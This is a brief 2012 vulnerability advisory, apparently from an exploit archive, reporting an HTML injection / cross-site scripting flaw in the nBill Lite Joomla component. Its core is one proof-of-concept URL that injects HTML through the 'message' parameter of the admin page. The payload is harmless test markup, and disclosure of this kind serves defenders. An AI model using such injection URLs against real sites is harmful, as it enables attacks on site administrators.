Joomla nBill Lite Cross Site Scripting

`[ TITLE ....... ][ nBill Lite - Joomla component HTML Injection / XSS  
[ DATE ........ ][ 07.04.2012  
[ AUTOHR ...... ][ http://hauntit.blogspot.com  
[ SOFT LINK ... ][ http://  
[ VERSION ..... ][   
[ TESTED ON ... ][ LAMP  
[ ----------------------------------------------------------------------- [  
  
[ 1. What is this?  
[ 2. What is the type of vulnerability?  
[ 3. Where is bug :)  
[ 4. More...  
  
[--------------------------------------------[  
[ 1. What is this?  
This is very nice component for Joomla, You should try it! ;)  
  
[--------------------------------------------[  
[ 2. What is the type of vulnerability?  
HTML Injection.  
  
[--------------------------------------------[  
[ 3. Where is bug :)  
http://joomla/administrator/index.php?option=com_nbill&action=income&task=generated-view&message=[url%3d%27%3E%3Ch1%3Etestuj%3Cbr%3Etestuj2%3C%2fh1%3E]test%3Cbr%3E123[%2furl]  
  
*Tested from admin only!*  
[--------------------------------------------[  
[ 4. More...  
  
- http://www.joomla.org  
- http://hauntit.blogspot.com  
- http://www.google.com  
- http://portswigger.net  
[  
[--------------------------------------------[  
[ All questions about new projects @ mail now :)  
]  
[ Best regards  
[   
  
`